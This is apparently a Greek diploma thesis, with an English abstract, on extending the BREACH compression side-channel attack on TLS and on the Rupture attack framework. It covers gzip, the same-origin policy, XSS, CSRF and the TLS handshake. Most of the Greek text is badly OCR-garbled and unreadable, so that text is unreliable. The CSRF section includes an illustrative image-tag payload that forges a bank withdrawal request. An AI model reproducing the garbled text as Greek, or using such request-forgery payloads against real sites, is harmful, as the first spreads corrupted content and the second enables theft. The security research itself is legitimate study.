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IlepiAnyn

H aoddAela eival €va amo Ta Bactkd xapakTnpLOTIKA KAOE LTTOAOYLOTIKOV GLGTHUATOG,
KoOWG eEATPAAILEL TNV EUTLOTELTIKOTNTA, TNV AKEPALOTNTA KaL TN SlabecudTnTa TNG
nAnpodopiac. H mapovoa epyacia epeuva enBECEL; TAVW GE GUUTILEGUEVA KPLTITOYPO-
ONUEVA TTPWTOKOAAO KAl GUYKEKPLUEVA AVATITUGEL TTEpALTEPW TNV eniBeon BREACH.

[IpoTvovTal oTatioTIKEG UEBOSOL IOV EMLTPEMOLY va ipayuatomnon0el n enibeon oe
TIPAYUATLKEG LOTOOEALSEG TTOV XPNOLUOTIOLOVY GUYXPOVEG KPUTITOYPAPLKESG TEXVIKEG. ETL-
TIAEOV, avanTuxOnkav TexIkEG BeATioTonoinong tng enibeong mov GuvVTOPEVOLY TNV
enBéon ewg kat 500 hpopég oe BewpnTKO emimedo.

Anunlovpynoape eva epyaielo, To Rupture, mov ehpapudfel TIG OTATIOTIKEG Hag uebo-
8oug Kal TIG TeXVIKEG BeATLoTomonoNG. To Rupture elvat ypayuevo o€ KwSka eNUTESov
TIOPAYWYNG EAELOEPOL AOYLOULKOV Kal auTouaTomoLel Tnv enteon. To RESTful API mov
ekBetel oe ouvduvaouo pe to Web User Interface o kaBlotouv eva evypnoto epyaieio
TIOV EMLTPETEL GTOVG EMLTIOEUEVOLE VA TTPAYUATOTIOLOVV UALKEG ETILOETELG.

H Snuovpyla autov tov €PYarElOn §€ GTOXEVEL O€ KAULA TTEPUTTWON GE KAKOBOLAN
XpNon. Avtibeta, eMSLWKEL va VALCONTOMONCEL TNV KOLVOTNTA YA TIG ETLOECELG O
OLUTILEGUEVA KPUTITOYPADNUEVA TIPWTOKOAAA. AUTEG OL EMIOECELG ELVAL APKETA EKAE-
TITUOUEVEG, UE amoTeAeoU va BewpeLtal apdLBoAo To av Umopouvy va TPayUaTonoLn-
Bouv o€ TPAYUATIKEG ETLOECELG.

Avavewpéveg ek800eLg TnG Tapovoag epyaciag pmopovv va Bpebovv atov akdAovbo
oUVSEOUO: https://github. com/esarafianou/rupture-thesis. To epyaAeio Rupture Bpi-
OKETAL GTO OUVSEGUO:https://github. com/dionyziz/rupture.
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Abstract

Security is a fundamental aspect of every computer system. as it reassures confiden-
tiallity, integrity and availability of the data. This work investigates attacks on com-
pressed encrypted protocols, and develops further the BREACH attack.

New statistical methods are being proposed, which allow the attack to perform in re-
allife websites which use the latest cryptographic techniques. New optimizations of
the attack were also developed, which speed up the attack up to 500 times in the the-
oretical model.

We implemented a framework,Rupture, which applies our statistical methods and op-
timization techniques. Rupture is open-source, production level and automates the
attack. The RESTful API it exposes in combination with the Web User Interface make
it an easy-to-use tool which allows the attackers to perform attacks in the wild.

The implementation of this framework focuses by no means in malicious purposes.
On the contrary, it aims to sensitize the community aboot compression side-channel
attacks. Such attacks are quite sophisticated and the community doubts whether the
could be reallife attacks

Updated versions on the current work can be found on the following link: https://
github.com/esarafianou/rupture-thesis. Rupture repositoryis:https://github.com/
dionyziz/rupture
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Evyaplotieg

H napovoa Sutdwpatikn epyacia ekmovrOnke ota mAaiowa tng poitnong Hov oo tunua
HAekTtpoAoywv Mnyavikwv kat Mnxavikwv Yroioylotwv tov EBvikoy Metadpiov Ilo-
Avteyveiov.

H Sutdwpatikn avt ekmovnOnke vmo v enifAedn Tov kabnynti Aptoteidn Mayovp-
TN, ToV omoio Ba jBera va evyaplotiow Bepud yla ™ Borifeld Tov, kKabwg Kat yla To
YEYOVOG OTL péow NG StSaockariag tng Kpuntoypadiag pe eLonyaye Kat Hov EVETVEVOE
TNV Ayastn ylo T0 AVTIKELUEVO.

Axopa, 6a nBera va evyaplotiow Tov Alovoon Znvapo, yla tnv apéplatn Bondela kat
kaBo8nynaon Tov aTo eMUTESO TNG EKTTOVNONG TNG Epyactag, Tov Anurtpn Kapakwota
yla TG GLUPBOVAEG Kal TIG SLOPOBWGCELG TOV 6TOV KWK KaBwg kat Tov [TéTpo Ayyeldto
yla TNV TPAKTIKH KAl GLVALGONUATIKN LTTOGTNPLEN TOV.

TéXog, Ba BeAa va evyaploTiow Toug GIAOLG KaL TNV OLKOYEVELA L0V YLa TN oTHPLEN
TIOL YOV Tapeiyav 6Aa avtd ta xpovia.

Lapadlavov Evdoiia,

ABiva, 23n Iavovapiov 2017
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Chapter 1

Ewcaywyn

1.1 Ewcaywyn

Ta tedevtaia xpovia mapatnpeital pla avgnon Tov evaLadEPOVTOC TG KOLVWVING OXETIKA

ue Ta Bépata g acdAAeLlag Kal TNG LSWTIKOTNTAG TNG TANpodopiag oto AtadikTuo. Ot
QITOKOAVYELG TOL Snowden, N SLappor| TPOCWTILKWY OTOLYEIWV KAl KWSIKWV Xpnotwv

UEYAAWY ETALPELWY, OTTWC Yahoo kal dropbox dAAagav Tov TPOTO e TOV oTolo avTiAauBavopaacte
Tn xpnon online vmnpectwv. OL EPELVNTEG KAl XPNOTEG aTPAdNKAV 0TV avalnTnon

AVOEWV WOTE OLETIIKOLVWVIEG Va yivouy TLo acdareig amévavti oe kKdOe e{Sovg avTuTdAoug.

Ltnv mapovoa epyacia otoxevovpe va avadeifovue advvauieg ota TPWTOKOAAA TTOV
XPNOLUOTIOLOVVTAL GTO SLASIKTLO KAl UEGW TNG SNUOCLELGNG TNG VA ELALGONTOTOU OOV E
TNV KOWOTNTA WOTE VA AVTLUETWIILGTOUV QTOTEAECUATIKA AUTEG OL EVTTADELEG.

H epeuvd pog eMKEVTPWVETAL O EMOECELG EVAVTIA GE TIPWTOKOAAA cuuTiEaNG TTOV
ehpapuofovtal ota SeSouéva mpLy TNV KPLITOypadnon Kat UETaPpopd TOUG. ZUYKEKPLUEVA,
EMEKTELVOLUE LTTAPYOVTA YovTEAA eiBeang, 6mwg To BREACH kat Snuiovpyovye eva
EPYOAELO TTOL TPAYUATOTOLEL UE ALTOPATOTTOLNUEVO TPOTIO TETOLEG ETLOETELG.

To Aoylouikd cuurtieong 0To 0T0l0 EMKEVTPWONKAUE ELVALTO gZip, TTOL XPNOLUOTIOLELTAL
eVpEwG oto Aladiktvo. To gzip edpapudlel Tov arydplbuo DREFLATE, tov amoteAel Tov
ouvSvacouo Twv AAyopiBuwv cvumnieong Huffman kat LZ77. H eniBeon mov enekteivovpue
EKUETAAAEVETAL TOV TPOTIO PE TOV 0Tt0l0 ouuTTLECeL Kelpeva To LZ77 evw avtiBeta o
aiyopBuog Huffman SuokoAevel tnv enibean.

To 110 SLadeSopevo mMpwTdKOAAO peTadopds Sedouévwy oto Aladiktuo eivat o HTTP(Hyper-
Text-Transfer Protocol). Ta §eSopéva mov petadpepovtal uéow HTTTP Sev eivatkpuntoypadnueva,
UE ATTOTEAEG A OTIOLOGSHTIOTE EMLTELOEUEVOG EAEYYEL TO SIKTLO PG, va propeL va Stafdoet

Kalva aAdowwoel ta SeSopeva mov yetadpépovral. H e€€Aton tov HTTP, to HTTPS kaAvmTEL

avTd TO KEVO 0TNV A0PAAELO UE TNV ELOAYWYY] EVOG aKOUA EMUTESOL SIKTVOVL TIPLV TO

eninedo epapuoyng mov apykd ftav to SSL (Secure Socket Layer) Kat 6Tn cLUVEXEL

7o TLS (Transport Layer Security). To eninedo autd emPaAreL Tnv Kpumtoypddnon

TWV §€S0UEVWV TIPLV QIO TN HETAPOPA TOU Kal EYYLATAL £TGL TNV EUNLOTELTIKOTNTA,
aKePALOTNTA Kal SLaBECLUOTNTA TWV §ES0UEVWV.

Ol aAydpBuol kpuToypddnong mov XpnoLonolovvTal 6° aUTO TO EMITESO UITOPOLV
va XwPLoToUV o€ SV0 PEYAAEG KATNYOopLeG: aAyoplBuol porig Kat aAyoplbuol S€ounc.
LTV mpwn mepintwon, ta dedoyéva KpumToypapovvTal wg pla cLVEXHG Por, EVW
otn 8evtepn mepintwon ywpifovtal oe 8éoueg ioov pueyeboug kal kpuntoypadeital
KaBe Séoun xwpLotd. Le mepintwon mov ta Sedopéva dev kataveépovtal pue akpifela
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oe 8€opeg, eloayeTal TexvnTog B0pLuPog wate va emitevyOel To emBLUNTO PEyebog Kal
va evBvypapulotei n kdbe S€oun.

O KLPLOTEPOG aAydpLOu0G porig ewvat o RC4, 0 omoilog Ouwe §gv xpnoLpomoleital TAéov
ylatt exouv Bpebel onuUavTikeg eVABELEG TOV TTOV TOV KaBLoToVV avachain. O 7o
Stadedouévog aryoplBuog séoung ewvat o AES, tou pe Stadpopeg mapariay€g eival o 1o
EVPEWG XPNOLUOTIOLOVUEVOC aAYOPLOUOC KpLTTTOYpAdNnonG. Av Kal ol aAyopluot pong
KaBlotovv TNV enibeon mov mepLypadovUE APKETA EVKOAN, UE TNV TTapovoa epyacia
KATASEKVVOUUE 0TL OL aAyOpLBuoL 8éoung 0mtwg o AES 8& pag mpooTatelovy amdALTA
ard TETOLEG EMIOETELG.

IIpOKELUEVOL VO TTETVLYOVUE TNV EMiBEON 6TOV aAYyOpLOU0 AES X pnGLUOTIOLOAUE OTATIOTIKES
uebodoug kat TexvnTd B0pLPO yLa va EEMEPATOVUE TIG SUVGKOALEG TTOV ELGAYOVTAL ATTO

N xprion deouwv. Tavtdypova Lo yayaue TEXVIKEG TOL BEATIOTOTOLOVY TNV artddoan

NG eNiBEONG KAL UaAG ENLTPETOVY VA TNV TTPAYUATOTTOLOVUE GE TTPAYUATIKO XPOVO.

Avanto€ape avolyTo AOyLoUIKO oe KOSka emMutédou mapaywynig mov ebapUolel TIg
0TATLOTKEG UeBOS0oVG Kal TeYVIKeG BeATioTomolonG pag. To AoyLlouLko eival eva service-

based cUoTNUA APYLTEKTOVIKNG TTOV ALTOUATOTIOLEL TNV €MiBEON KABWE aTaALTEL UKPN
Stapopodwan mpv aro TNy eniBeon. Atvel Tn SuvaTdTNTA YA TOAAATIAEG EMIOEGELG TNV

(8la otiyun oe Sladopetikd BvpaTa Kot LoTOGEAISEG. ME TO AOYLOULKO QUTO, TTPAY UATOTIOL NCAUE
EMOECELG O€ EPYAOTNPLAKEG LOTOGEAISEG.

Ocov adopd TIG 0TATIOTIKEG HeBOSOLG, N ¥prion MBAVOTNTWVY TNV eMLBEON Hag TNV
KaOLoTA Un vTitepuvioTky. Ilpokeuévou Aoutdv va €xovpe akpifela ota amoteAéopata
UaG, EXOVUE ELOAYEL LA LETPLKA TTOL EKGPACLEL TNV AVTOTIETOLONGY] LAG VLA TA ATTOTEAECUATA
IOV TTOPAYOVTAL AITO TLG OTATLOTIKEG pag ueBdSoug. Movo av auth elvat apkETn, Bewpovvtat
eykvpa ta §eSopéva pag. Xe SladopeTiki mepinTwon, anmoppintovral

Ev katakAeiSL, n mapovoa epyacia amoteAel T oLUVEXELA Pla OUASAG EPEVVWV TTOV
TIOPOVGCLA-OTNKAV TA TEAELTALA Y pOVIa KAl havEpwaoav Bacikég aduvauieg oTa cvoThuaTa
TIOUL XPNOLUOTIOLOVUE KATA KOPOV. Elval onuavTiko va emektabel pe véeg teXvIkEG BeATIOTO-
noinong tng eniBeong kat, kKupiwg, véeg ueBdSovg aAvVTIUETWTLONG TNG.

1.2 Aoun ™nG gpyaciag

H epyacia €xel SounOel wg e€ng:
KeddAato 2

To kepaAaLo avTO MAPEXEL GTOV AVAYVWOTN BACIKEG TANPODOPIES, TOOO OE TEXVIKO
000 Kal g BewpnTko eminedo, oL omoieg Ba ypnolpomomnBovyv atn cuve ela. Oa

nieprypddouvpe toug Lo Stadedouévoug arydpliuouvg cuumnieong, kabwg kat facikd
TIPWTOKOAAA TTOV XPNOLUOTTOLOVVTAL YO TNV ACPAAELN OTIG ETMIKOLVWVIEG, KABWG

KalL eMBETELG EVAVTIWY TOUC.

KeddAawo 3

To kepdAalo auTod eloayEL OTATIOTIKEG HEBOSOLE yla va tapakaudOouv eumddia
Katva yivet Suvat n eniBeon oe aAyoplbuovg séoung. Ipotivovtat akdpa péddot
BeAtiotomoinong mov avgdvouv Tnv TayvTNTA Kal anddoon Tng enibeong.
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KeddAato 4

X’ auTo T0 KEGAAALO TTEPLYPADOVE TO EPYAAELD TTOL SNULOVPYNCAUE VLA ETLLOETELG

0€ CLUUTTLECUEVA KPUTITOYpaAPNUEVA TTPWTOKOAAA. LZUYKEKPLUEVA, EMIONUAVOLUE

TIG TTPOVTTODETELG KATW QT TLG OTTOLEG TTPAYHUATOTIOLELTAL pLa TETOLA ETILOEDT, AvaAvOLYE
TNV opoAoyia oL XPNOLUOTIOLELTAL OTO EPYAAELO Kal TTepLypadovpe Ste€odika ta
Sladopa pEpn TOL Kal TIG AELTOVPYIEG TOVL AVTA EMLTEAOVV.

Kedaiaio 5

To kedoAalo avto meplypadel mwG ENEKTEIVAUE TO EPYAAELO UAG WOTE va YIVEL
TILO AELTOVPYLKO Kal gvypnoto. Ieptypadel To RESTful API mov Snulovpynoaue
KaL TI§ KANGELG TTOV YLVOVTAL 6’aVTO KABWGE Kal T AELTOVPYOKOTNTA TNG SLtemadng
xprotn (Usser Interface).

KedpdAawo 6

0 xwdwag vAomoinong g enibeong.
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Chapter 2

Theoretical background

Le auTo TO KEGAAALO TTAPEXOVUE TO amapaitnTo LITOBadpPo GTOV AVAYVWOTN WOTE VA
KATOAGBEL TOLG UNYAVLIGUOVG TTOL XPNOLHoTTolovvVTaL apydtepa otnv epyacia. H meptypadn
TOL KAOE CLOTAUATOG ELVAL ULA ULKPN ELOAYWYN YL VA EE0LKELWOEL TOV AVAYVWON UE
TIG ANAPALTNTEG EVVOLEG.

LUYKEKPLUEVQ, N eVOTNTA 2.1 TepLy padeL TN AeLTovpy i TOL AOYLOULKOV cLuTiEONG gZip
KL TOLG AAYOpLOUOLE TTOL AVTOG Xpnolpomnolel. H evotnTa 2.2 KAAVTITEL TO Same-origin
policy mov epapudletal 6To HOVTEAO aodaAélag Twv edpapuoywv. Etnv evotnta 2.3
e&nyovye to Transport Layer Security, Tov glvat To TPWTOKOAAO TTOL PN OLUOTIOLElTAL
EVPEWG KaL TPOChEPEL ACHAAELA OTNV EMIKOLVWVIA HEGW AlaSIKTUOV. TEAOC, N evoTNTA
2.4 eprypadeL puebodoroyieg emibeong onwg ARP spoofing, mpokepévou €vag emtifEéuevog
va kavel Man-in-the-Middle emiBéoelg.

2.1 gzip

gzip elval pla yopdn apyeiov xat yla ehpappoyn A0yLoULKOU oV XPNOLUOTOLE(TAL Yla
N ovumnieon apyelwv kat amoovpmnieong. Ewvat n o Snuoding uebodog ovumieong oto
AaSikTLO Kal gxel LOOeTNOel oe TPWTOKOAAA OTTWCS To HTTP kat To XMPP. !

To gzip BaciCetatr otov DEFLATE aAyopiBuo, o omoiog eivat évag cuvdvacpog LZ77
kal Kwdkomoinon Huffman . O DEFLATE aAyoplBuog mapovoladeTal €v cuvtouia 6to
TIOPAKATW oxua:

DEFLATE(m) = Huf fman(LZ77(m))

LTIG TTOPAKATW EVOTNTEG TTEPYPAPOVUE CUVTOUA TN AELTOVPYIA AVTWV TWV VO aAyopiBuwV

2.11 LZ77

LZ77 elvaL evag aryopibuog cuurieong SeSopévwv xwpig anwAeleg mov Snuoctevbnke
and Tov Abraham Lempel kat Jacob Ziv to 1977 [5]. Hetvuyaivel tn ovumnieong ueow
aVTIKATACTAONG emavaAaupavopevwy eudpavicewv §edoyévwv pe avapopeg oe eva
puovadiko avtiypado twv SeSouévwy mov epdavioTnkKe vwpIiTEPA TN U CUUTILEGUEVN
pon 6edopévwv. Eva talplacua KwSIKOTOoLELTAL PUE EVa (EVYOG aplOuwV ToL OVOUAETaL
Celyog W KOLG-aTTOGTACNG, UE TO TTPWTO VO AVATTAPLOTA TO KOG TOL EMAVAAAUBAVOUEVOL

! https://en.wikipedia.org/wiki/Gzip
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UEPOG KAL TO SELTEPO VA TIEPLYPAPEL TNV ITOGTACH TTPOG TA TTiow aTn pon. [Ipokeluévou
va eVTomioel eMaVOARPELS, TO TTPWTOKOAAN TTPETTEL VA TAPAKOAOLOEL pLa T0GOTNTA ATTO
ta teAevTaia Sedopéva, kat ovykekplpeva 32 kilobytes. Avtd ta SeSopéva pvArdoovTat
o€ eva oLPOUEVO TapabLPO. ETOL, TPOKELUEVOL VO GUUTILEGTEL EVA UEPOG TWV §ESOUEVWY,
N apywn eudpavion tov mpemnel va ewvat to moAv 32Kb niocw otn pon Sedopevwv. Eniong,
TO €AAXLOTO UAKOG TOL KELWEVOD TIOV PUTOPEL VA GLUTILEGTEL ELval 3 XOpAKTAPES KaL TO
OUUTILEGUEVO KELUEVO Umopel va avadEpeTal TO00 0 YPAPUATA OG0 Kal SEIKTEG.

Mapakdtw daivetal eva Brjpa mpog Ppa mapadetypa eKTEAEONS TOL aAyOpLOUOoL yla
EVA ETAEYUEVO KelPEVO

Hello world! My name is Alice.
Hello world! My name is Bob.
Hello world! Hello world!

Figure 2.1: Bjua 1: Ke{pevo mpog ovumieon

Hello world! My name is Alice.

Hello world! My name is Alice.

Figure 2.2: Bjua 2: H ovumnieong gextva pe avamapdotaon KEWEVOU

Hello world! My name is Alice.
Hello world! My name is

Hello world! My name is Alice.

AL (31, 25)

Figure 2.3: Bjua 3: Xpnowwomnoinoe eva 8eiktn oe anootaon 31 kat pikog 25

Hello world! My name is Alice.
Hello world! My name is Bob.

Hello world! My name is Alice.

AL (31, 25) Bob.

Figure 2.4: Bijua 4: Zuveyiel pe keipevo
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Hello world! My name is Alice.
Hello world! My name is Bob.
Hello world!

Hello world! My name is Alice.

AL (31, 25) Bob.

A (29, 14)

Figure 2.5: Bjua 5: Xpnowormnoinoe eixtn mov Seiyvel oe deikn

Hello world! My name is Alice.
Hello world! My name is Bob.
Hello world! Hello world!

Hello world! My name is Alice.

AL (31, 25) Bob.

(29, 14) (14,14)
g

Figure 2.6: Bjua 6: Xpnolpomnoinoe deiktn mov Selyvel oe SelkTn MOV e TN GELPA TOV
Seyvel og Selktn

2.1.2 Huffman coding

Huffman kwdwomnoinong eivat eniong éva aiyopbuog cvumnieong dedopévwv xwpig
anwAeLleg Tov avantLuyxdnke and tov David A Huffman xat Snuootetbnke to 1952 [3].
Otav ovpumnieletal évakelpgevo pe autd Tov aryopLlouo, évag mivakag UETABANTWV-UAKOUG
Snuovpyeitat yla va avtiotolyioet apykd cvupoia mpog bit pong. Kabe apykd cvupfoiro
unopei va avanapaoctabel pe Atyotepa j meplocdtepa bits o€ cUyKpLON PE TNV ACVUTIIEDTN
pon, £€ToL WOoTE 0 mivakag YapToypddnong xpnoluonoleiTal ya tn Yetadpopa amo ta
apyka cvupoia oe bits pong katd tn Sldpkela TG cvumieong Kat avTloTpOdwWS KATd
N Slapkela anmoovunieong. O mivakag yaptoypadpnong unopel va avanapactabel wg
éva Suvadikd §év8po KOUPBwWV, 6TTOL KABE KOUPBOG HGUAAD AVTUTPOOWTTEVEL EVa ap) LKA
oLuPoAo, To omoio uropel va mpooeyylatel and Tn pifa Tov §€vTPOL aKOAOLOWVTAG
TO APLOTEPO HOVOTATL yla 0 Katl To owaoTd §popo ywa 1. Kdbe ovuporo mnyn umopel
va eKnpoownelTal uévo and kKOUPBoLG, wg K TOVTOV, 0 KWSLKAG elval xwpLg Tpodeua,
dnAadn kapta por aro bits mov avTUTpoowEVEL Eva ap)tkd cVUBoAo umopel va eivat
70 TPOBEUA 0TTOLOLSATTOTE AAAOL PEVLUATOG SLASIKWVY YNdIiwV TOL AVTUTPOCWTIEVEL EVa
StadopeTikd apyko mnynic. H teAlkn avtiotoiynon twv apykwv cVUBoAwv oe pon bits
vroAoyl{feTal pe TNV €VPEDN TNG GLYVOTNTAG EUdAVIONG YLa KEBe cVUUPBOAO TOL AoV
KELWEVOL. Me auTOV TOV TPOTIO, TA TILO GLYVA CUUPOAN KWSKOTIOLOUVTAL OE ULKPOTEPEG
pog¢ amo bits, ue amotéAeoua tn cvumieon Tov apykd Keipevo. TEAOG, N AVIOTOLYLON
AOyw ouuTtieong mPEMEL VA GLUTIEPIANDOEL OTO TEALKO GUUTILEGUEVO KEIPEVO ETOL WOTE
va pmnopel va xpnotpomnownBei katd tn Stdpkela Tng amocvumnieonc.

ITapakatw evat eva mapadelypa armAov KeLUEVOL Kat evog Sevtpov Huffman mov pmopet
va xpnolpomnownBei ywa ovumieon

Would a helium balloon float on the moon?
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Avdivon Zuyvotntag

o007 |5 |a:3 | n:3

w2 h2 e2 | m:2

tt2 |wil|d:1i:1

b:1|f:1 |: :

Aévtpo Huffman

0: 00 1: 01 a: 1000 n: 1001
u: 1010 h: 1011 e: 11000 | m: 11001
t: 11010 w: 11011 d: 11100 | i: 1111000
b: 1111001 | f: 1111010

Ap)yko péyeog keLpévou: 264 bits
Méye0og cvpmieopévou keLtpévou: 133 bits

2.2 Same-origin policy

H oAtk {8lag mpoéievong(Same-origin policy) elvat pta onuavTiki mTUYI TOL LOVTEAOL
achdrelag Twv ehpapuoywv web. £to mAaiolo g mToALTIKAG avTng, évag web browser
ETLTPETEL SCripts MOV TMEPLEXOVTAL GE ULla TPWTN LoToceAiSa va eyovv mpdcofaacn oe
Sedopéva oe pla evtepn otooeAiba, aAAd povo edv Kal ot V0 LoTooEAISEG ExOUV
Vv (8la mpoéAevan. IIpoéievon opietal wg évag cuvdvacudg Tov oxjpatog Uniform
Resource Identifier 2, vouatog kat aptOuot moépTag AvTh N TOALTIKY QITOTPETEL ULd
KOKOPBOLAN evepyeLa o€ ULa 6eASa 0TO va amokTnoeL TpocPacn oe evaiocOnta dedouéva
GAANG 1oTooEAISOG uéow Tov Document Object Model 3.

O napakdtw mivakag e€nyeL tnv moALTIKY (5lag mpoéievong. YnoBétovue ot B€Aovpe
npocPaon amo tn oeAiSa http://www.test.com/dir/test.html ota URLS mov cLyKkpLvovue

TOPAKATW.
Compared URL Result Reason
http://www.test.com/dir/page.html Emttuyia | 1810 mpwtdkoAro/6voua
http://www.test.com/dir2/other.html Emtuyia | 1810 mpwtdkoAro/ovoua
http://www.test.com:81/dir2/other.html | Amotuyia | I§lo TpwTOKOAAO/OVOUQ, SLAdOPETIKN TTOPTA
https://www.test.com/dir2/other.html | Amotuyia | AlapopeTIKO TPWTOKOAAO
http://www.en.test.com/dir2/other.html | Amotuyia | AladopeTiko Gvoua

AVTOG 0 uNYavIoUOG lval GNUAVTIKOG yLa TIG oUyXpoveG edapuoyég Web mov e€aptwvTatl
a6 Ta cookies HTTP yia va Slatnprioouvv EAeyx0o TauTOTNTAG OTLG GLVESPIEG XPNOTN.

H éMewdn g 8lag moAltikig mpoéievong Ba elye wg amotéAeopua Tov cUUPBLBAGHO TOV
aITopPPNTOL TWV Sedouévwy 1 TNV akepatotnta. IIapd tn xpron g MOALTIKAS (8lag
TIPOEAELONG ATTd CLYYPOVA TTPOYPAUUATA TTEPLAYNONG, EEAKOA0VOOVVY VA LTIAPXOLV ETIOETELG
TIOV ETLTPENOVY €VAV AVTIMAAO yla va Tnv mapakdupel kat va B€oel oe kivduvo tnv
eMKOWVWVia Tov xpriotn Ue pia .otooeAida. AVO KUPLOL TUTTOL TETOLWV EMOEGEWYV, Cross-

site scripting (XSS) kat cross-site aitnua mAactoypadiag (CSRF) meprypddovtal oTig
TIOPAKATW LTTOEVOTNTEG.

2 https://en.wikipedia.org/wiki/Uniform_resource_identifier
3 https://en.wikipedia.org/wiki/Document_Object_Model
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2.2.1 Cross-site scripting

Cross-Site Scripting (XSS) emiB€oelg eivat €va ei§og Eveong, aTo omoia kakoBovAa gevapla
eyx€ovtal oe SLahopeTIKA KAAONBELG KAl AELOTILOTEG LoTOOEA(SEG. XSS emiBéaelg ovupufaivouv
otav évag eloforéag ypnolpomotel pia Sladktvaki epappoyn yla tny anocstoAl KakdfovAov
KWKa, cLVABWG e T popdn scipt o€ emineSo MPOyPAUUATOG TTEPLYNONG, O€ SLAPOPETIKO
TeEAKO XprioTn. EToL, n moAlTiky i8lag mpogAevaong uropel va mapakapudOei kat o xelpLlopog
TWV evalodnTwv Sedopeévwy amo tn evVAAWTN LoTtoceAiSa va tebel ae kivSuvo.

Ol emBeoelg XSS wmopouv va xwpLotoLv 6 V0 KATNYopLeg: A and A

A XSS elvat ekeiveg dmov 7o script mov ekyeetal eivat povipa arrodnKevUEVO
0€ SLAKOULOTEG-0TOXOVG , OTIWG o€ Ula Bdon deSouévwy, o Eva unvouua €vog GOpouvy.
To BVpa oTN CLVEXELD AVAKTA TO KAKOBOVAO script amo Tov eSUTINPETNT 0TAV {NTA TIG
armobnkevueveg mAnpodopiec.

XSS elval ekeiveg GmmoL TO script TOL EKYEETAL AVTAVAKAATAL ATTO TOV
web server, 01twg o€ éva urivouua AdBoug, anotéAeoua avagitnong, j oroLadimote dAAN
QITAVTNON TTOL TEPLAAUPBAVEL HEPLKA 1] OAa aT0 Ta 6TOLXEl0 ELAS0L MOV AMOGTEAAOVTAL
070 SLAKOULOTH WG UEPOG TNG aiTtnong.

I'ia meplocotepeg mAnpodopieg yla to XSS [6].

2.2.2 Cross-site request forgery

Cross-Site Request ITAaotoypadia (CSRF) eival pia enibeon mov avaykdlel Evav TeAKO
XPROTN VA EKTEAETEL AVETIOVUNTEG EVEPYELEG O Ula edapuoy] web otnv omola gyet
niiatononOel. Ol emB€aelg CSRE atoxeVOLV O€ ALTHUATA QALY G KATAGTACNG, OXL TNV
KAOTH TV §eSouévwy, Se8ouévou OTL o eLoBoAréag ev €xel TPOTO va el TNV amdvTnon
070 MAAoTO altnua. Evag elofoAéag pnopel va EeyeAdoel Toug xprioTeg TnG SLaSIKTLUAKAG
eDAPUOYG WOTE VU EKTEAECOUV EVEPYELEG TTOV ETIIAEYEL 0 €LGBOAEAG. Av To OVua elval
€VaG KAvVoVIKOG XprRoTng, pia emtuxnuévn enibeon CSRF pmopel va avaykdoeL Tov xpnot
Va EKTEAEGEL ALTHUATA CAAQYNG KATAGTAONG OTTWG N HETAGOPA KeDOAAlwV, 0AAaYH TNG
8LevBuvaong NAEKTPOVIKOU TaLSpopeiov Toug, Kat oUTwW Kabegng. Av To BVpa elvat pla
SloknTk Aoyaplacuo, pla enibeon CSRF umopel va B€oel oe kivGuvo 0AdGKANpn TNV

epappoyn web.

I'a mapadetypa, otav n Alice EMIOKENTETAL PULA LOTOGEALSA TIOV TEPLEXEL ULAL ETIKETA
HTML ewxdvag <img src="http://bank.ezample. com/withdraw?account=Alicefamount=
10000008for=Mallory”>, MOV e€xeL elodyel n Mallory, Ba Kavel eva epwTNUA A0 TOV
TePNYTN LoTov NG Alice otnv LotoceAida Tng Tpamela ™G 1ToL va {nta va petadepbel
70 1000 Twv 1.000.000 amo To Aoyaplacud tng Alice oto Aoyaplacud tng Mallory. Av
n Alice eivat ouv8edepévn atnv LoToceALSa TG TPATTECAG TNG, O EELTINPETNTNG LOTOV
Ba mepLéyel Ta cookies avbevtikomoinong g Alice, KavovTag €TGL EYKLPO TO AiTnua
ya yetadopd. Av n LotoceAiba Sev exel GYeTIKOVG EAEYYOUG N Un €EovaloSotnuévn
petadopd xpnudtwv Ba oAokAnpwbOel. Auto To €ld0¢ emBeang ewval TOAV ovvnbeg o€
dopovpg aTo Atadituvo, 01OV N XPNOTEG UTTOPOLV VA SNUOGLEVOLY GWTOYPADIEG.
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2.3 Transport Layer Security

To Transport Layer Security (TLS) eivat éva mpwTOKOAA0 KPLTITOYPAGNONG TTOL TapPEYEL
A0HAAELD OTLG EMKOLVWVIEG EVOG SIKTLOVL LTTOAOYLOTWYV, EMLTPENOVTAG O€ EVAV EELTNPETNTNH
Kalévav meEAATN VA ETTIKOLVWVAGEL LE VAV TPOTIO TTOV ATTOTPETEL VTTOKAOTIEG, TTAPAITOLNON

i TAaoToypadia Tov HRVLHATOG.

Loudwva pe TIg podlaypadég Tov TpwTokdAAov, To TLS amoteAeital amd SVo oTpwuaTa:

n TLS Record mpwTtdkoAA0 Kal T0 TPWTOKOAAO xetpapiag TLS. To Record mpwTtdkoAAo
TapExeL aodAAela cUVEEDNG, EVW TO TPWTOKOAAO Xelpaiag eMLTPENEL 6TO SLAKOULOTA

KOl TOV TTEAATN VA AVOEVTIKOTIOL|GOLV 0 EVAE TOV AAAO KAL VA SLATTPay LATELTOVY aAYyOpLOOLG
KPULTITOYPAPNONG KALKPLUTITOYPAPIKA KAELSLA TPV a6 omtoLladNToTe avTaAAayr eSouévwv.

Miakatnyopia TLS eniBeong eivaL eniBeoelg ovumieong [8]. TEToleg emBEoelg eEKUETAAAEVOVTAL
Tn ovurtieon oto TLS enineSo, mpOKELWEVOL VA ATTOKPUTITOYPAPI|GOVV TO KPUTITOKEIUEVO.

Le auTd TO €PY0, EXOVUE EMEKTEIVEL TN XPNOTIKOTNTA KAL TN BEATIOTOTO(NGN TNG aTt6S00NG

utag tétolag enibeong, tov BREACH*

2.3.1 TLS handshake

Client Server

- ddL

Acknowledged a
a
CHIeNTHELLO e 68ms
4
=
ServerHello v
LO2MS #+ovseereereessesses s Certificate -
ServerHelloDone |
ClientKeyExchange g
ChangeCipherSpec 136ms
Finished
Application

TOMS wwerevereemmmmmeeemmnre et ettt B —

Figure 2.7: TLS handshake flow

To mapandvw Staypappa akoAovdiag mapovctddel Tn AeLTovpyKATNTA PLag xelpayiag

TLS. O meAdTnG Kal Kal 0 SLaKOULoTG AVTAAAAGOLV BAGIKEG TAPAUETPOLVG TNG OVVSEEDNG,
OMwG TNV VPNAGTEPN €KSOY TOL MTPWTOKOAAOL TLS, évav tuyaiog aplBOuog, ula Alota

UE TOLG TTPOTELVOUEVOUG OAYOPLOUOLG KPLTITOYPADNONG KAl TTPOTELVOUEVEG HeBOSOLG
ovunieong. O SLakouLoTnG TAPEXEL OTOV TIEAATN UE OAEG TIG amapaitnTeg mAnpodopieg
